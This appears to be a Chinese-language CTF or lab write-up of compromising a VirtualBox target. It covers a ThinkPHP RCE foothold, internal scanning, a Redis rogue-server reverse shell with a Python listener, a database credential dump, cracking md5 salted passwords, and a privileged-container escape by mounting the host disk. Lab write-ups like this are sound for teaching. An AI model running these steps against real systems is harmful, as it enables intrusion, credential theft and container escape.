web打点

靶机扫描

┌──(root㉿kali)-[~]
└─# nmap -sS 192.168.1.39 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2025-07-12 01:46 EDT
Nmap scan report for 192.168.1.39
Host is up (0.00080s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:BD:44:E0 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.44 seconds

开了22 和 80

image-20250712220259253.png
image-20250712220259253.png

报错页面发现是ThinkPHP V5.0.5, 直接rce getshell

image-20250712221333094.png
image-20250712221333094.png

内网横向

fscan -h 172.19.0.0/24 -np
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.0
                                                                                                                                                    
[2025-07-12 14:17:09] [INFO] 暴力破解线程数: 1                                                                                                      
[2025-07-12 14:17:09] [INFO] 开始信息扫描
[2025-07-12 14:17:09] [INFO] CIDR范围: 172.19.0.0-172.19.0.255
[2025-07-12 14:17:09] [INFO] 生成IP范围: 172.19.0.0.%!d(string=172.19.0.255) - %!s(MISSING).%!d(MISSING)
[2025-07-12 14:17:09] [INFO] 解析CIDR 172.19.0.0/24 -> IP范围 172.19.0.0-172.19.0.255
[2025-07-12 14:17:09] [INFO] 最终有效主机数量: 256
[2025-07-12 14:17:09] [INFO] 开始主机扫描
[2025-07-12 14:17:09] [INFO] 有效端口数量: 233
[2025-07-12 14:17:21] [SUCCESS] 端口开放 172.19.0.1:22
[2025-07-12 14:17:21] [SUCCESS] 服务识别 172.19.0.1:22 => [ssh] 版本:8.4p1 Debian 5+deb11u3 产品:OpenSSH 系统:Linux 信息:protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3.]                                                                                                                  
[2025-07-12 14:17:45] [SUCCESS] 端口开放 172.19.0.3:80
[2025-07-12 14:17:50] [SUCCESS] 服务识别 172.19.0.3:80 => [http] 版本:1.18.0 产品:nginx
[2025-07-12 14:29:31] [SUCCESS] 端口开放 172.19.0.2:6379
[2025-07-12 14:29:36] [SUCCESS] 服务识别 172.19.0.2:6379 => [redis] 版本:5.0.14 产品:Redis key-value store

fscan扫描内网 ,发现了172.19.0.2:6379跑了个redis

传个frp,开个socks代理,尝试连接redis

┌──(root㉿kali)-[~]
└─# proxychains4 -q redis-cli -h 172.19.0.2  -p 6379                                                                                 
172.19.0.2:6379> info
# Server
redis_version:5.0.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:82e99d45f54e2614
redis_mode:standalone
os:Linux 4.19.0-27-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:1
run_id:e88d7ed01f6f98ec6aacd23601cf3eb1ab6cc8df
tcp_port:6379
uptime_in_seconds:1231
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:7500446
executable:/data/redis-server
config_file:

# Clients
connected_clients:1
client_recent_max_input_buffer:4
client_recent_max_output_buffer:4100800
blocked_clients:0

# Memory
used_memory:854176
used_memory_human:834.16K
used_memory_rss:12750848
used_memory_rss_human:12.16M
used_memory_peak:4953952
used_memory_peak_human:4.72M
used_memory_peak_perc:17.24%
used_memory_overhead:840974
used_memory_startup:791280
used_memory_dataset:13202
used_memory_dataset_perc:20.99%
allocator_allocated:1424312
allocator_active:1716224
allocator_resident:8458240
total_system_memory:2092433408
total_system_memory_human:1.95G
used_memory_lua:37888
used_memory_lua_human:37.00K
used_memory_scripts:0
used_memory_scripts_human:0B
number_of_cached_scripts:0
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
allocator_frag_ratio:1.20
allocator_frag_bytes:291912
allocator_rss_ratio:4.93
allocator_rss_bytes:6742016
rss_overhead_ratio:1.51
rss_overhead_bytes:4292608
mem_fragmentation_ratio:15.70
mem_fragmentation_bytes:11938672
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_clients_slaves:0
mem_clients_normal:49694
mem_aof_buffer:0
mem_allocator:jemalloc-5.1.0
active_defrag_running:0
lazyfree_pending_objects:0

# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1752329680
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:0
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0

# Stats
total_connections_received:2
total_commands_processed:3
instantaneous_ops_per_sec:0
total_net_input_bytes:72
total_net_output_bytes:14801
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0

# Replication
role:master
connected_slaves:0
master_replid:20ebee4cf286daa409471774f86ee700d032f99f
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:0.697228
used_cpu_user:0.911468
used_cpu_sys_children:0.000000
used_cpu_user_children:0.001602

# Cluster
cluster_enabled:0

# Keyspace

redis未授权,尝试各种写马姿势弹shell都不行,和bamuwe交流得知 redis主机不出网

可以将攻击机的端口映射到内网,也可以将内网端口映射出来

web主机上有python3的环境,直接传一个简易的nc上去

import socket
import threading
import sys

def recv_thread(conn):
    try:
        while True:
            data = conn.recv(4096)
            if not data:
                print("\nConnection closed by client.")
                break
            print(data.decode(errors='ignore'), end='', flush=True)
    except Exception as e:
        print(f"\nReceive error: {e}")
    finally:
        conn.close()
        sys.exit(0)

def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <listen_port>")
        sys.exit(1)

    listen_port = int(sys.argv[1])

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('0.0.0.0', listen_port))
    server.listen(1)
    print(f"Listening on 0.0.0.0:{listen_port} ...")

    conn, addr = server.accept()
    print(f"Connection from {addr[0]}:{addr[1]} established!")

    t = threading.Thread(target=recv_thread, args=(conn,), daemon=True)
    t.start()

    try:
        while True:
            cmd = sys.stdin.readline()
            if not cmd:
                break
            conn.sendall(cmd.encode())
    except KeyboardInterrupt:
        print("\nUser interrupted.")
    finally:
        conn.close()
        server.close()

if __name__ == "__main__":
    main()

https://github.com/n0b0dyCN/redis-rogue-server

使用这个工具直接一把梭

2025/07/12 10:59:33 CMD: UID=33    PID=760    | ./pspy64 
2025/07/12 10:59:33 CMD: UID=33    PID=704    | /bin/bash 
2025/07/12 10:59:33 CMD: UID=33    PID=703    | python3 -c import pty;pty.spawn('/bin/bash') 
2025/07/12 10:59:33 CMD: UID=33    PID=697    | sh -i 
2025/07/12 10:59:33 CMD: UID=33    PID=693    | sh -c uname -a; w; id; sh -i 
2025/07/12 10:59:33 CMD: UID=33    PID=692    | md5sum 
2025/07/12 10:59:33 CMD: UID=33    PID=472    | /bin/bash 
2025/07/12 10:59:33 CMD: UID=33    PID=471    | python3 -c import pty;pty.spawn('/bin/bash') 
2025/07/12 10:59:33 CMD: UID=33    PID=470    | php-fpm: pool www                  
2025/07/12 10:59:33 CMD: UID=33    PID=469    | sh -i 
2025/07/12 10:59:33 CMD: UID=33    PID=465    | sh -c uname -a; w; id; sh -i 
2025/07/12 10:59:33 CMD: UID=33    PID=403    | php-fpm: pool www                  
2025/07/12 10:59:33 CMD: UID=33    PID=32     | ./frpc -c frps.ini 
2025/07/12 10:59:33 CMD: UID=33    PID=30     | /bin/bash 
2025/07/12 10:59:33 CMD: UID=33    PID=29     | python3 -c import pty;pty.spawn('/bin/bash') 
2025/07/12 10:59:33 CMD: UID=33    PID=28     | sh -i 
2025/07/12 10:59:33 CMD: UID=33    PID=24     | sh -c uname -a; w; id; sh -i 
2025/07/12 10:59:33 CMD: UID=33    PID=15     | php-fpm: pool www                  
2025/07/12 10:59:33 CMD: UID=33    PID=14     | php-fpm: pool www                  
2025/07/12 10:59:33 CMD: UID=33    PID=9      | nginx: worker process          
2025/07/12 10:59:33 CMD: UID=0     PID=8      | php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf) 
2025/07/12 10:59:33 CMD: UID=0     PID=7      | nginx: master process /usr/sbin/nginx -g daemon off; 
2025/07/12 10:59:33 CMD: UID=101   PID=6      | /usr/sbin/mariadbd 
2025/07/12 10:59:33 CMD: UID=0     PID=1      | /usr/bin/python3 /usr/bin/supervisord -c /etc/supervisord.conf 
2025/07/12 11:00:01 CMD: UID=0     PID=768    | runc init 
2025/07/12 11:00:01 CMD: UID=0     PID=773    | rm -fv /var/www/html/exp.so 

要注意服务器会定时删除so后缀的文件,将exp.so名称成一个没有后缀的文件就行

www-data@0bb9bcb43160:/tmp$ python3 1.py --rhost 172.19.0.2 --lhost 172.19.0.3
< python3 1.py --rhost 172.19.0.2 --lhost 172.19.0.3
______         _ _      ______                         _____                          
| ___ \       | (_)     | ___ \                       /  ___|                         
| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __ 
|    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |   
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|   
                                     __/ |                                            
                                    |___/                                             
@copyright n0b0dy @ r3kapig

[info] TARGET 172.19.0.2:6379
[info] SERVER 172.19.0.3:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: r
r
[info] Open reverse shell...
Reverse server address: 172.19.0.3
172.19.0.3
Reverse server port: 5555
5555
[info] Reverse shell payload sent.
[info] Check at 172.19.0.3:5555
[info] Unload module...
   
$ python3 s.py
Usage: s.py <listen_port>
$ python3 s.py 5555
id
Listening on 0.0.0.0:5555 ...
Connection from 172.19.0.2:56334 established!
uid=999(redis) gid=999(redis) groups=999(redis)

成获取redis权限

cat /opt/user.txt
flag{user-4f6311d4cf5776f0316c2f1b6526a653}

提权

根据bamuwe的提示,查看web主机的数据库

www-data@0bb9bcb43160:/tmp$ mysql -uroot -proot
mysql -uroot -proot
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 7
Server version: 10.5.29-MariaDB-0+deb11u1 Debian 11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
show databases;                                                                                                                                                
+--------------------+                                                                                                                                         
| Database           |                                                                                                                                         
+--------------------+                                                                                                                                         
| hnymwl_com_utf8    |                                                                                                                                         
| information_schema |                                                                                                                                                       
| mysql              |                                                                                                                                                       
| performance_schema |
+--------------------+
4 rows in set (0.000 sec)

MariaDB [(none)]> use hnymwl_com_utf8;
use hnymwl_com_utf8;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [hnymwl_com_utf8]> show tables;
show tables;
+---------------------------+
| Tables_in_hnymwl_com_utf8 |
+---------------------------+
| codepay_order             |
| codepay_user              |
| sdad3135                  |
| wp_allot                  |
| wp_area                   |
| wp_balance                |
| wp_bankcard               |
| wp_bankinfo               |
| wp_banks                  |
| wp_cardinfo               |
| wp_catproduct             |
| wp_conf                   |
| wp_config                 |
| wp_gg                     |
| wp_integral               |
| wp_klinedata              |
| wp_newsclass              |
| wp_newsinfo               |
| wp_opentime               |
| wp_order                  |
| wp_order_log              |
| wp_payment                |
| wp_price_log              |
| wp_productclass           |
| wp_productdata            |
| wp_productinfo            |
| wp_refundlog              |
| wp_risk                   |
| wp_usercode               |
| wp_userinfo               |
| wp_webconfig              |
| wp_wechat                 |
+---------------------------+
32 rows in set (0.001 sec)

MariaDB [hnymwl_com_utf8]> select * from wp_userinfo;
select * from wp_userinfo;
+------+-------------+----------------------------------+-------------+------------+-----------+-------+---------+---------+---------+----------+------------+-------------+---------+--------+--------+-----------+----------+--------+--------+-----------+------------+-----------+-----------+----------+
| uid  | username    | upwd                             | utel        | utime      | agenttype | otype | ustatus | oid     | address | portrait | lastlog    | managername | comname | comqua | rebate | feerebate | usertype | wxtype | openid | nickname  | logintime  | usermoney | userpoint | minprice |
+------+-------------+----------------------------------+-------------+------------+-----------+-------+---------+---------+---------+----------+------------+-------------+---------+--------+--------+-----------+----------+--------+--------+-----------+------------+-----------+-----------+----------+
|    1 | admin       | 35a6b91de813873ca887f5d9b681d180 |             | 1480061674 |         2 |     3 |       0 | NULL    | NULL    | NULL     |       NULL | NULL        | NULL    | NULL   | NULL   | 0         |        0 |      0 | NULL   | admin     | NULL       |      0.00 |      NULL |     NULL |
| 5632 | 10005632    | 18aed8d2a11896a6e76180b3d87e64bb | 123456      | 1592404993 |         0 |     0 |       0 | 1       | NULL    | NULL     | 1597391565 | admin       | NULL    | NULL   | NULL   | 0         |        0 |      0 | NULL   | www       | 1597391565 |  11670.00 |      NULL |     NULL |
| 5634 | 18888888888 | cf9c0c4996398526203b25d179b60aad | 18888888888 | 1592469112 |         0 |     0 |       0 | 666     | NULL    | NULL     | 1751965186 | AN          | NULL    | NULL   | NULL   | 0         |        0 |      0 | NULL   | 小可爱    | 1751965186 | 680278.00 |      NULL |     NULL |
| 5635 | 10005635    | f9fb7dcf1f8af5b50235be3cbccf90ee | 19216813711 | 1752205841 |         0 |     0 |       0 | dashazi | NULL    | NULL     | 1752205841 | whatcanisay | NULL    | NULL   | NULL   | 0         |        0 |      0 | NULL   | root      | 1752205841 |      0.00 |      NULL |     NULL |
| 5636 | 10005636    | cafc17ccad5b7523338f81ab912c2750 | 13333333333 | 1752296822 |         0 |     0 |       0 | 1       | NULL    | NULL     | 1752296822 | NULL        | NULL    | NULL   | NULL   | 0         |        0 |      0 | NULL   | test      | 1752296822 |      0.00 |      NULL |     NULL |
+------+-------------+----------------------------------+-------------+------------+-----------+-------+---------+---------+---------+----------+------------+-------------+---------+--------+--------+-----------+----------+--------+--------+-----------+------------+-----------+-----------+----------+
5 rows in set (0.000 sec)

MariaDB [hnymwl_com_utf8]> 

wp_userinfo表中发现了一个root的密码,将web代码脱下来审计,查看密码加密方式

public function login()
    {
        $userinfo = Db::name('userinfo');
        //判断是否已经登录
        if (isset($_SESSION['uid'])) {
            $this->redirect('index/index?token='.$this->token);
        }
        
        if(iswechat() && 1==2){
            //微信浏览器 微信登录
            if(cookie('wx_info')){
                $wx_info = cookie('wx_info');

                $data['openid'] = $wx_info['openid'];
                $checkuser = Db::name('userinfo')->where($data)->value('uid');
                //判断是否已经注册
                if($checkuser){  //已经注册直接記錄session
                    $_SESSION['uid'] = $checkuser;
                    //更新登录时间
                    $t_data['logintime'] = $t_data['lastlog'] = time();
                    $t_data['uid'] = $checkuser;
                    $userinfo->update($t_data);
                    $this->redirect('index/index');
                }else{  //未注册 则注册 默认密碼为123456
                    $data['nickname'] = $wx_info['nickname'];
                    $data['utime'] = time();
                    //$data['upwd'] = md5('123456'.$data['utime']);
                    $data['otype'] = 0;
                    $data['ustatus'] = 0;
                    $data['address'] = $wx_info['country'].$wx_info['province'].$wx_info['city'];
                    $data['portrait'] = $wx_info['headimgurl'];
                    if(isset($_SESSION['fid']) && $_SESSION['fid']>0){
                        $fid = $_SESSION['fid'];
                        $fid_info = $userinfo->where(array('uid'=>$fid,'otype'=>101))->value('uid');
                        if($fid_info){
                            $data['oid'] = $fid;
                        }

                    }
                    //插入数据
                    $ids = $userinfo->insertGetId($data);
                    $newdata['uid'] = $ids;
                    $newdata['username'] = 10000000+$ids;
                    $newids = $userinfo->update($newdata);
                    //清除cookie 为了安全
                    cookie('wx_info', null);
                    //記錄session
                    $_SESSION['uid'] = $ids;
                    //更新登录时间
                    $t_data['logintime'] = $t_data['lastlog'] = time();
                    $t_data['uid'] = $ids;
                    $userinfo->update($t_data);
                    $this->redirect('login/addpwd?token='.$this->token);
                }
            }else{
                $this->redirect('wechat/get_wx_userinfo');
                
            }

        }else{
            //web用戶登录请求
            if(input('post.')){
                $data = input('post.');
                //验证用戶信息
                if(!isset($data['username']) || empty($data['username'])){
                    return WPreturn('请输入用戶名!',-1);
                }
                if(!isset($data['upwd']) || empty($data['upwd'])){
                    return WPreturn('请输入密碼!',-1);
                }
                //查询用戶
                
                $result = $userinfo
                ->where('username',$data['username'])->whereOr('nickname',$data['username'])->whereOr('utel',$data['username'])
                        ->field("uid,upwd,username,utel,utime,otype,ustatus")->find();
                //验证用戶
                if(empty($result)){
                    return WPreturn('登录失败,用戶名不存在!',-1);
                }else{
                    if(!in_array($result['otype'], array(0,101))){  //非客户无权登录
                        return WPreturn('您无权登录!',-1);
                    }
                    if($result['upwd'] == md5($data['upwd'].$result['utime'])){
                    
                        if ($result['ustatus']==0)
                        {
                            $_SESSION['uid'] = $result['uid'];
                            //更新登录时间
                            $t_data['logintime'] = $t_data['lastlog'] = time();
                            $t_data['uid'] = $result['uid'];
                            $userinfo->update($t_data);
                            return WPreturn('登录成功!',1);

                        }elseif($result['ustatus']==1){
                            return WPreturn('登录失败,您的账户暂时被冻结!',-1);
                        }else{
                            return WPreturn('登录失败,用戶名不存在!',-1);
                        }
                    
                    }
                    else{
                        return WPreturn('登录失败,密碼错误!',-1);
                    }
                }

                
                
            }
            return $this->fetch();
            
        }

加密密码是 md5(pass+时间戳)

可以写脚本爆破,也可以不写,群里直接提示了 密码是managername字段下的whatcanisay

登录到redis主机的root

cat /proc/self/status |grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

猜测这应该是个特权容器

ls /dev/ | grep sda
sda
sda1
sda2
sda5
mount /dev/sda1 /mnt
cd /mnt
ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
cd root 
ls
root.txt
cat root.txt
flag{root-6dbfaf239023f6da6ed2ffc59d3bcea5}

sda1挂载上,发现这就是主机的目录,成功逃逸